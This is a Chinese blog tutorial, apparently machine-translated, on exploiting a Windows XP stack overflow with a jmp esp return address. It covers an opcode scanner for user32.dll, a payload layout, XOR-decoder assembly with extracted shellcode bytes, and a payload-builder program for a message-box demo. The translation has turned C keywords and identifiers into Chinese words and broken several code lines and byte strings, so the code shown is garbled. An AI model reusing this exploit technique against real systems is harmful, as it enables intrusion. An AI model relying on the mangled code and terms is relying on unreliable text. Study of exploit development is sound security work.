发布于2022年11月8日3年前 0x00 前言 《Windows Shellcode学习笔记——shellcode在栈溢出中的利用与优化》中介绍了堆栈溢出的利用。通过用外壳代码在内存中的起始地址覆盖返回地址,可以利用堆栈溢出。 但是shellcode在内存中的初始地址往往不固定,导致漏洞利用失败。本文将通过jmp esp来解决这个问题。 0x01 简介 代码在堆栈中保存的顺序(直观理解,其他细节已省略): 缓冲器 前一堆栈帧EBP 回信地址 电动选择型 ESP寄存器总是指向返回地址的下一个地址。 如果返回地址被jmp esp覆盖,函数返回后会执行jmp esp,跳转到esp,即执行返回地址的下一个地址。 因此,通过将shellcode放在返回地址之后,并用jmpsep覆盖返回地址,可以避免shellcode在内存中的移位问题。 本文将介绍使用jmp esp的具体细节,并分享如何优化我们自己的子弹盒实例shellcode,实现jmp esp的使用,自动编写程序解决shellcode在内存中初始地址不固定的问题。 弹框实例shellcode下载地址: https://github . com/3g student/Shellcode-generator/blob/master/Shellcode . bin 0x01 jmp esp 获得jmp esp的机器码: 它可以通过搜索每个进程空间来获得。具体原理请参考第《0day安全:软件漏洞分析技术》节3.2.2。 为了便于理解和测试,直接引用《0day安全:软件漏洞分析技术》中3.2.2节的代码,如下: #包括 #包括 #define DLL_NAME 'user32.dll ' int main() { BYTE * ptr int位置,地址; h实例句柄; BOOL done _ flag=FALSE handle=LoadLibrary(DLL _ NAME); 如果(!手柄) { printf(“加载dll错误”); 返回0; } ptr=(BYTE *)句柄; for(position=0;done _ flag位置) { 尝试 { if(ptr[位置]==0x ff ptr[位置1]==0xE4) { int address=(int)ptr位置; printf(“在0x%x\n”处找到操作码”,地址); } } 接住(.) { int address=(int)ptr位置; printf('0x % x \ n '的结尾,地址); done _ flag=true } } 返回0; } 如下图,获取机器码,选择第一个地址0x77d29353,构建我们的shellcode。 初步假设shellcode的结构为: 填充数据(长度44)偏移长度jmp esp机器代码解码器加密的子弹盒外壳代码结束字符 具体数据如下: \ x34 \ x33 \ x32 \ x31 " * 11 ' \ x90 \ x90 \ x90 \ x90 \ x90 ' ' \ x53 \ x93 \ x2 \ x77 ' ' \ 这个过程由程序自动实现,代码如下: #包括 size_t GetSize(char * szFilePath) { size_t大小; FILE* f=fopen(szFilePath,' Rb '); fseek(f,0,SEEK _ END); size=ftell(f); 倒带(f); fclose(f); 返回大小; } 无符号char * ReadBinaryFile(char * SZ file path,size_t *size) { 无符号char * p=NULL FILE * f=NULL size _ t RES=0; * size=GetSize(SZ file path); if (*size==0)返回NULL f=fopen(szFilePath,' Rb '); if (f==NULL) { printf('二进制文件不存在!\ n’); 返回0; } p=新的无符号字符[* size]; 倒带(f); res=fread(p,sizeof(无符号字符),*size,f); fclose(f); if (res==0) { 删除[]p; 返回NULL } 返回p; } int main(int argc,char* argv[]) { char * SZ file path=' c:\ \ test \ \ shellcode . bin '; char * SZ file path 2=' c:\ \ test \ \ shellcode 2 . bin '; 无符号char * BinData=NULL size _ t size=0; BinData=ReadBinaryFile(SZ file path,size); for(int I=0;我 运行后生成shellcode2.bin。 由于自己生成的shellcode很长,测试时需要修改原书中的堆栈溢出程序,否则会报错,比如 如果(!(fp=fopen('password.txt ',' rw ')) 应修正为 如果(!(fp=fopen('password2.txt ',' rb ')) 更多细节请参考完整代码。堆栈溢出测试程序的完整代码已经上传到github,地址如下: https://github . com/3g student/Shellcode-generator/blob/master/stack overflow example(jmpesp)。卡片打印处理机(Card Print Processor的缩写) 测试堆栈溢出测试程序 测试环境: 测试系统:Win XP 编译器:VC6.0 内部版本:调试版本 测试堆栈溢出测试程序,发现错误。 0x02 shellcode调试与优化 使用OllyDbg调试 在关键位置按F2断点,按F9断点执行。 如下图,返回地址被成功覆盖,值为0x77d29353。 按F8进入JMP ESP,如下图所示 接下来,F8在单一步骤中执行,如下图所示。此时EDX寄存器不再存储shellcode起始地址,EDX值为0x0012FFE0,而理论上shellcode起始地址应为0x0012F77C。 你需要找一个可以保存shellcode起始地址的寄存器或者有某种偏移关系的寄存器。 经过进一步调试,发现EDI寄存器的值在整个过程中保持不变,为0X0012F720,shellcode的初始地址发生了变化,不再是0x0012F77C。 如下图,在调用test2.004011A0的断点处,shellcode的起始地址从0x0012F77C变为0X0012F6F0。 如下图所示,0x0012F77C已经被覆盖,侧面显示shellcode的起始地址已经改变。 综上,可以大胆推测实际shellcode起始地址=EDI-0X000008F0h。 解码器的实现思路如下: 外壳代码起始地址由EDI-0X000008F0h获取,并存储在寄存器EAX中。 对应的汇编代码如下: void main() { __asm { 子edi,0x8F0 mov eax,edi 添加eax,0x28 xor ecx,ecx 解码_循环: mov bl xor bl,0x44 mov [eax ecx],bl inc ecx cmp bl,0x91 jne解码_循环 } } 提取的机器代码是 \ x81 \ xEF \ xF0 \ x08 \ x00 \ x00 \ x8B \ xC7 \ x83 \ xC0 \ x28 \ x33 \ xC9 \ x8A \ x1C \ x08 \ X80 \ xF3 \ x44 \ x88 \ x1C \ x08 \ x41 \ X80 \ xFB \ x91 \ x75 \ xF1 ' 画 此时\x00字符再次出现,实际使用时会被提前截断,所以汇编代码需要进一步优化: 外壳代码的\00字符通过两步加法和减法来避免。 注: 先减后加会导致越级。 加法和减法的两步运算如下: EDI-0x 000008 f0h=0x 0012 f 7200x 1111111h-0x 1111119 a1h 因为shellcode前面的填充数据比较多,所以解码器的偏移量要重新计算,offset=填充数据长度解码器长度=0x340x26=0x5A。 完整的汇编代码如下: void main() { __asm { 添加edi,0X11111111 子edi,0X111119A1 mov eax,edi 添加eax,0x5A xor ecx,ecx 解码_循环: mov bl xor bl,0x44 mov [eax ecx],bl inc ecx cmp bl,0x91 jne解码_循环 } } 如上所示,提取的机器码是 \ x81 \ xC7 \ X11 \ X11 \ X11 \ x81 \ xEF \ xA1 \ x19 \ X11 \ x8B \ xC7 \ x83 \ xC0 \ x5A \ x33 \ xC9 \ x8A \ x1C \ x08 \ X80 \ xF3 \ x44 \ x88 \ x1C \ x08 \ x41 \ X80 \ xFB \ x91 \ x75 \ xF1 ' 如下所示,寻址正常,外壳代码成功执行。 0x03 程序自动实现 上面的代码与获取jmp esp的机器码的代码集成在一起,从而自动获取jmp esp的机器码并写入shellcode。完整的代码已经上传到github: https://github . com/3g student/Shellcode-generator/blob/master/jmpespshellcode . CPP 注: 通过子函数GetAddress()实现自动寻址,需要从子函数GetAddress()返回int数据,然后通过主函数中的指针读取jmp esp的机器码。 如果顺序颠倒,则无法获得地址。 的错误采集地址码如下: 无符号char *GetAddress() { BYTE * ptr int位置,地址; h实例句柄; BOOL done _ flag=FALSE handle=LoadLibrary(DLL _ NAME); 如果(!手柄) { printf(“加载dll错误”); 返回0; } ptr=(BYTE *)句柄; for(position=0;done _ flag位置) { 尝试 { if(ptr[位置]==0x ff ptr[位置1]==0xE4) { int address=(int)ptr位置; unsigned char * Buff=(unsigned char *)地址; 返回缓冲区; } } 接住(.) { int address=(int)ptr位置; printf('0x % x \ n '的结尾,地址); done _ flag=true } } 返回0; } 无符号char * jmpesp=NULL jmpesp=get address(); 0x04 小结 介绍jmp esp在堆栈溢出中的利用方法,根据实际情况优化我们自己的子弹盒实例shellcode,选择固定的寄存器地址,计算偏移量,最后定位shellcode的初始地址完成利用。 留下回复
创建帐户或登录后发表意见